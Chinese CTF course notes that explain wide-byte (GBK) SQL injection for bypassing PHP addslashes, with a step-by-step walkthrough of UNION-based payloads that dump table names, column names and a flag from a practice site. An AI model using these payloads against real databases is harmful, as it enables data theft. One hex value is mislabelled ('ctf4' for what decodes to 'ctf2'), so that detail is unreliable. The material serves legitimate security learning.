注:
1.本文是对安全牛《CTF从入门到提升》课程课时1的记录

基础知识

1.addslashes函数

php中的addslashes()会在单引号('),双引号("),反斜线(\)与NUL(NULL字符)前面加上反斜线,使得这些特殊字符被转义

而在sql注入中,我们经常要用到单引号,因此要想办法从addslashes函数中逃逸出来,办法有两个

  1. \前面再加一个\(或单数个),变成\\',这样\被转义了,'逃出了限制
  2. \弄没

而宽字符注入就是采用了第二个方法

2.mysql中的gbk编码

gbk编码中英文使用单字节编码,中文部分采用双字节编码

mysql在使用了gbk编码的情况下,如果一个字节大于128(ascii码),则mysql会认为该字节和下一个字节是一个汉字

1
mysql_query("SET NAMES GBK"); #设置mysql编码为gbk

利用这一点,我们可以把addslashes函数添加的\弄成汉字,从而使用单引号

举个例子:
%df\\' url转码后为%df%5c%27,此时mysql会认为它是 運'

具体例子

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

id=1’时会返回

your sql:select id,title from news where id = ‘1'‘

因此可以尝试使用宽字节注入

id=1%aa’ 返回

your sql:select id,title from news where id = ‘1猏’’

使用宽字节注入,成功闭合了单引号,接下来是常规的注入操作

1.猜测列数

  • id=1%aa%27%20order by 2%23 没有报错
  • id=1%aa%27%20order by 3%23 报错
    因此列数为2

    2.获取数据库名和表名

  • id=-1%aa%27 union select 1,2%23 发现2会显示在页面上
  • id=-1%aa%27 union select 1,database()%23 获取数据库名为sae-chinalover
  • id=-1%aa%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23 获取表名ctf,ctf2,ctf3,ctf4,news

    3.获取列名

  • id=-1%aa%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746632%23 (0x63746632是ctf4的十六进制形式,因为这里我们没办法使用单引号,所以必须要用十六进制的形式)

    4.获取表中内容

  • id=-1%aa%27%20union%20select%201,group_concat(flag) from ctf4%23 获取flag列内容